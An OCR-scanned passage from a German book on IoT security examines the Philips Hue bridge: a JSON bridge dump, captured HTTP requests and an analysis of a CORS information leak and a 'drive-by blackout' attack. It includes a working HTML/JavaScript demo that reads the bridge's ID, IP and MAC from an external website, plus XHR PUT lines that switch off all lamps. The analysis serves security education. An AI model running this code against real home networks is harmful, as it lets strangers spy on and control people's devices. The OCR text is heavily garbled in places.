1id":"LCTO01","swversion":"65003148","pointsymbol":{"3":"none","2":"none","
1":"none","7":"none","6": "none","5": "none","4": "none","8": "none"}, "type":"E
xtended color light"},"14":{"name":"Bathroom 3","state":{"bri":254,"effect"
:"none","sat":144,"reachable":true,"alert":"none", "hue":14922,"colormode": "
ct","on":false,"ct":369,"xy":[0.4595,0.4105] }, "modelid":"LCTO01","swversion
n . II65003148II , Ilpo.intsymbo'l n : {II3II . Ilnonell , II2II . Ilnonell s Illll : Ilnonell , II7II B llnonell , ll6ll
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:"none","5":"none","4":"none","8":"none"},"type":"Extended color light"},"1
1":{"name":"Hallway 2","state":{"bri":123,"effect":"none","sat":254,"reacha
ble":true,"alert":"none","hue":17617,"colormode":"xy","on": false,"ct":424,"
xy":[0.492,0.4569]},"modelid":"LCTO01", "swversion":"65003148","pointsymbol"
:{"3":"none","2":"none","1":"none","7":"none","6" :"none","5":"none","4": "no
ne","8":"none"},"type":"Extended color light"},"12":{"name":"Bathroom 1","s
tate":{"bri":254,"effect":"none","sat":144,"reachable":true,"alert":"none",
"hue":14922,"colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105] }, "mod
elid":"LCTO01","swversion":"65003148","pointsymbol1":{"3":"none","2":"none",
"1":"none","7":"none","6":"none","5": "none","4" : "none","8": "none"}, "type":"
Extended color Tight"},"3":{"name":"Living room Tamp 2","state":{"bri":102,
"effect":"none","sat":234,"reachable":true,"alert":"none","hue":687,"colorm
ode":"xy","on":false,"ct":500,"xy":[0.6452,0.3312]},"modelid":"LCT001","swv
ersion":"65003148","pointsymbol":{"3":"none","2":"none","1": "none","7": "non
e","6":"none","5":"none","4":"none","8":"none"},"type" : "Extended color ligh
t"},"2":{"name":"Living room lamp 1","state":{"bri":119,"effect":"none","sa
t":180,"reachable":true,"alert":"none","hue":51616,"colormode":"xy","on": fa
1se,"ct":158,"xy":[0.3173,0.187]},"modelid":"LCT001","swversion":"65003148"
,"pointsymbol1":{"3":"none","2":"none","1":"none","7": "none","6" : "none","5":
"none","4":"none","8":"none"},"type": "Extended color Tight"},"1":{"name":"B
ookshelf 1","state":{"bri":161,"effect":"none","sat":236,"reachable":true,"
alert":"none","hue":696,"colormode":"xy","on":false,"ct":500,"xy":[0.6474,0
.3308]},"modelid": "LCTOO1", "swversion":"65003148","pointsymbol":{"3": "none"
,"2":"none","1":"none","7":"none","6" : "none","5": "none","4": "none","8":"non
e"},"type":"Extended color light"},"10":{"name":"Bedroom 1","state":{"bri":
254,"effect":"none","sat":144,"reachable":true,"alert":"none","hue":14922,"
colormode":"ct","on":false,"ct":369,"xy":[0.4595,0.4105] }, "modelid":"LCTO01
", "swversion":"65003148","pointsymbol":{"3":"none","2":"none","1": "none","7
":"none","6":"none","5":"none","4" :"none","8":"none"},"type": "Extended colo
r Tight"},"7":{"name":"Guest bedroom 1","state":{"bri":115,"effect":"none",
"sat":144,"reachable":true,"alert":"none","hue":14922,"colormode": "xy","on"
:false,"ct":369,"xy":[0.2567,0.2172]},"modelid":"LCTO01", "swversion":"65003
148","pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6" : "none",
"5":"none","4":"none","8":"none"},"type":"Extended color light"},"6":{"name
":"Kitchen 3","state":{"bri":74,"effect":"none","sat":253,"reachable":true,
"alert":"none","hue":37012,"colormode": "xy","on": false,"ct":153,"xy":[0.281
,0.2648]},"modelid":"LCTO01","swversion":"65003148","pointsymbol":{"3":"non
e","2":"none","1":"none","7":"none","6": "none","5":"none","4":"none","8":"n
one"},"type":"Extended color Tight"},"5":{"name":"Kitchen 1","state":{"bri"
:106,"effect":"none","sat":254,"reachable":true,"alert":"none", "hue":25593,
"colormode":"xy","on":false,"ct":290,"xy":[0.4091,0.518]}, "modelid":"LCTO01
", "swversion":"65003148","pointsymbol":{"3":"none","2":"none","1": "none","7
":"none","6":"none","5":"none","4": "none","8": "none"}, "type":"Extended colo
r Tight"},"4":{"name":"Bookshelf 2","state":{"bri":16,"effect":"none","sat"
:247 ,"reachable":true,"alert":"none","hue":11901,"colormode":"xy","on": fals
e,"ct":500,"xy":[0.5466,0.4121]},"modelid":"LCTO01", "swversion":"65003148",
"pointsymbol":{"3":"none","2":"none","1":"none","7":"none","6" :"none","5":"
none","4":"none","8":"none"},"type":"Extended color Tight"},"9":{"name":"Ki
tchen 2","state":{"bri":246,"effect":"none","sat":216,"reachable":true,"ale
rt":"none","hue":58013, "colormode": "xy","on": false,"ct":359,"xy":[0.4546,0.
2323]},"modelid":"LCTO01","swversion":"65003148", "pointsymbol":{"3":"none",
"2":"none","1":"none","7":"none","6": "none","5" : "none","4" : "none","8": "none
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"},"type":"Extended color light"},"8":{"name":"Hallway 1","state":{"bri":9,
"effect":"none","sat":254,"reachable":true,"alert":"none","hue":25593,"colo
rmode": "xy","on":false,"ct":290,"xy":[0.4091,0.518] },"modelid":"LCTO01", "sw
version":"65003148","pointsymbol":{"3":"none","2":"none","1": "none","7":"no
ne","6":"none","5":"none","4":"none","8":"none"}, "type":"Extended color Tig
ht"}},"schedules":{},"config":{"portalservices":true,"gateway":"192.168.2.1
","mac":"[DELETED]","swversion":"01005215","ipaddress":"192.168.2.2","proxy
port":0,"swupdate": {"text":"","notify":false,"updatestate":0,"ur1":""},"Tin
kbutton":true,"netmask":"255.255.255.0","name": "Philips
hue","dhcp":true,"UTC":"2013-04-
29721:13:29","proxyaddress":"","whitelist": {"[DELETED]": {"name

":"iPad 4G","create date":"2012-11-23T05:54:57","Tast use date":"2013-02-11
T21:29:12"},"[DELETED]":{"name":"iPhone 5","create date":"2012-11-22T04:49:
57","last use date":"2012-12-03T01:21:56"},"[DELETED]":{"name":"iPhone 5","
create date":"2012-12-09T704:04:39","1ast use date":"2013-04-29721:10:32"}}}
,"groups":{}},"lastHeardAgo":5 };app.data.bridgeid = "[DELETED]"; [DELETED]

Wie Sie sehen, umfasst die HTTP-Antwort Informationen zu den mit der Bridge
verkniipften Leuchtkorpern und ihrem jeweiligen Zustand, aber auch die interne
IP-Adresse der Bridge und ihre ID.

HINWEIS

Achten Sie einmal auf die whitelist-Elemente in der Antwort. Die mit diesem Element
verkniipften Strings stellen autorisierte Token dar, mit deren Hilfe die Bridgebefehle
direkt gesendet werden konnen. Die Verwendung solcher Elemente werden wir in den
folgenden Abschnitten behandeln.

Dem Nutzer wird nun ein Dashboard angezeigt. Dieses stellt verschiedene Szenen
dar, mit denen fiir die Leuchtkorper jeweils eigene Kombinationen aus Farbe und
Helligkeit passend fiir bestimmte Situationen oder Umfelder konfiguriert werden,
sowie die Leuchtkorper selbst. Wie Abbildung 1-5 zeigt, kann der Benutzer eine
Szene auswihlen, einen einzelnen Leuchtkorper konfigurieren oder alle Leucht-
korper gemeinsam ein- oder ausschalten. Zustandsinformationen zu den ver-
schiedenen Leuchtkorpern (beispielsweise "Bathroom 1") werden dem Nutzer uber
die Weboberfliche angezeigt.
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Abb. 1-5 Nutzer-Dashboard zum Ein- oder Ausschalten der Leuchten

Wenn der Nutzer alle Leuchtkorper ausschalten mochte und deswegen auf die
entsprechende Schaltfliche klickt, dann stellt der Browser eine direkte Verbin-
dung mit der Bridge (in diesem Fall iiber die IP-Adresse 192.168.2.2) her, sofern
der Nutzer sich im selben lokalen Netzwerk wie die Bridge befindet:

PUT /api/[+whitelist DELETED+]/groups/0/action HTTP/1.1
Host: 192.168.2.2

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_8 3)
AppleWebKit/536.28.10

(KHTML, Tlike Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

Proxy-Connection: keep-alive

Content-Length: 12

{"on":false}

Wie wir sehen, sendet der Browser das whitelist-Token, das beim Verkniipfen
der Bridge mit dem Nutzerkonto generiert wurde. Der Befehl /groups/0/action ist
in Abschnitt 2.5 der Philips-Hue-API® definiert und dient dem Ausschalten aller
Leuchtkorper.

Wenn der Nutzer sich nicht im gleichen lokalen Segment befindet wie die
Bridge, sondern die Leuchtkorper fernsteuern mochte, wird die Meldung tiber
den Webserver geroutet:

8.  http://bit.ly/sec25_hue_api (kostenfreie Registrierung zur Ansicht erforderlich).
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GET /en-US/user/sendMessageToBridge?clipmessage=%7B%22bridgeld%22%3A%22 [DELETED]
%22%2(C%22c11ipCommand%22%3A%7B%22ur1%22%3A%22%2Fapi%2F0%2Fgroups%2F0%2Faction%

22%
2C%22method%22%3A%22PUT%22%2C%22body%22%3A%7B%220n%22%3Afal se%7D%7D%7D
HTTP/1.1

Host: www.meethue.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_8 3)
AppleWebKit/536.28.10

(KHTML, Tike Gecko) Version/6.0.3 Safari/536.28.10
Accept: */*

DNT: 1

X-Requested-With: XMLHttpRequest

Referer: https://www.meethue.com/en-US/user/scenes
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: [DELETED]

Connection: keep-alive

Proxy-Connection: keep-alive

Beachten Sie, dass der Wert c1ipCommand hier denselben Befehl /groups/0/action
enthilt wie die lokale Anfrage. Die Bridge holt sich diese Anweisung rasch iiber
die hergestellte ausgehende Verbindung mithilfe einer POST-Anfrage an /queue/get-
message?id=[DELETED id]&sso=[DELETED]. Hat die Bridge diese Anfrage verarbeitet,
dann antwortet der Server dem Browser mit der Bestitigung, dass alle Lampen
ausgeschaltet wurden:

HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION=[DELETED];Path=/

Vary: Accept-Encoding

Date: Sun, 05 May 2013 23:04:19 GMT

Server: Google Frontend

Content-Length: 41

{"code":200, "message":"ok","result":"ok"}

Die Codes ok fiir message und result bedeuten, dass die Anweisungen erfolgreich
ausgefiihrt wurden: Das Licht ist aus.

1.2.1 Informationslecks

Der mit der Hue-Website und der Bridge verbundene Webserver (die Bridge
umfasst einen Webserver, der auf TCP-Port 80 lauscht) antwortet mit dem fol-
genden Header auf Anfragen:

Access-Control-Allow-0Origin: *
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GemiR den Cross-Origin-Richtlinien fiir Webbrowser” gestattet ein solcher Hea-
der es JavaScript-Code auf beliebigen Websites im Internet, auf die Ergebnisse
von Webservern zuzugreifen, die auf der Hue-Website und der Bridge ausgefiihrt
werden. Dadurch kommt es zu einer Situation, in der eine externe Stelle erkennen
kann, dass der Nutzer sich im selben Netzwerksegment wie das installierte Hue-
System befindet, und die ID, die MAC-Adresse und die interne IP-Adresse abfan-
gen kann. Betrachten Sie zur Veranschaulichung den folgenden HTML-Code:

<HTML>
<SCRIPT>
// Create the XHR object.
function find_hue()
{
var url = 'htps://www.meethue.com/api/nupnp';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function()
{
var text = xhr.responseText;
var obj=JSON.parse(text.substr(1,
text.length-2));
document.write('<H3>Your Hue bridge id
is '+ obj.id + '</H3><BR>');
document .write('<H3>Your Hue bridge
internal IP address is '+
obj.internalipaddress + '</H3><BR>');
document .write('<H3>Your Hue bridge MAC
address is '+ obj.macaddress + '</H3><BR>');
}s
xhr.send();
}
find_hue();
</SCRIPT>
</HTML>

Angenommen, der HTML-Code wird auf einer externen Website gehostet. Wie
Abbildung 1-6 zeigt, kann die auf www.dhanjani.com gehostete Website die ID,
die interne IP-Adresse und die MAC-Adresse der Bridge erfassen. Der HTML-
Code veranschaulicht, dass dies mithilfe der XMLHttpRequest-Anfrage erfolgt, tiber
die der Webbrowser eine Verbindung mit einer anderen Domane als www.dhan-
jani.com (namlich in diesem Fall www.meethue.com) herstellt. Und natiirlich
kann der Besitzer der externen Website die abgegriffenen Informationen auch
problemlos speichern.

9. butps://de.wikipedia.org/wiki/Cross-Origin_Resource_Sharing
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8eno www.dhanjani.com/demo/hue/hue_information_leakage.html %
(alr |l (=] + | £ www.dhanjani.com ¢ | Beacer | (O]

Your Hue bridge id is 0017 GG

Your Hue bridge internal IP address is 10.0.1.22

Your Hue bridge MAC address is l]ﬂ:l'.n"_

Abb. 1-6 Informationsleck zu einer externen Website

Aus Griinden der Sicherheit sollten diese Informationen beim Besuch einer belie-
bigen Website keinesfalls offengelegt werden. Wir klassifizieren dieses Problem
als Informationsleck, weil hierbei Daten einer externen Stelle zugdnglich werden,
die vom Benutzer nicht zum Erhalt dieser Daten autorisiert wurde.

1.2.2  Drive-by-Blackouts

Auf dem Webserver, der auf der Bridge lduft, ist der Header Access-Control-
Allow-Origin auf * gesetzt. Kennt der Besitzer einer externen Website eines der fiir
die Bridge verwendeten whitelist-Token, dann kann er die Lampen steuern,
indem er mit einer XMLHttpRequest-Anfrage die interne IP-Adresse der Bridge
abruft (wir haben weiter oben gesehen, wie dies geht) und schlieSlich eine weitere
XMLHttpRequest-Anfrage via PUT an die IP-Adresse der Bridge sendet:

xhr.open('PUT', 'http://'+obj.internalipaddress+'/api/[whitelist
DELETED] /groups/
0/action', true);

Danach tibermittelt er als Body der PUT-Anfrage Folgendes:
xhr.send("{\"on\":false}");

Hierauf wiirde der Browser des Opfers direkt eine Verbindung mit der Hue-
Bridge im lokalen Netzwerk erstellen und sie instruieren, die Lampen auszuschal-
ten. Von nun an kann sich der Angreifer die Tatsache zunutze machen, dass der
Browser des Opfers direkten Zugriff auf die Bridge im lokalen Netzwerk hat.
Dies ist ein sogenannter Drive-by-Angriff.

Die Wahrscheinlichkeit, dass ein Angreifer hiermit Erfolg hat, ist gering, weil
er zumindest ein whitelist-Token kennen miisste. Trotzdem handelt es sich bei der
Festlegung von Access-Control-Allow-Origin auf * um eine schlechte Entschei-
dung der Entwickler. Zuverlissige Sicherheitsmechanismen sollten nicht zulas-
sen, dass die Lampen iiber eine beliebige Website deaktiviert werden koénnen,
auch wenn deren Besitzer eines der whitelist-Token kennt.



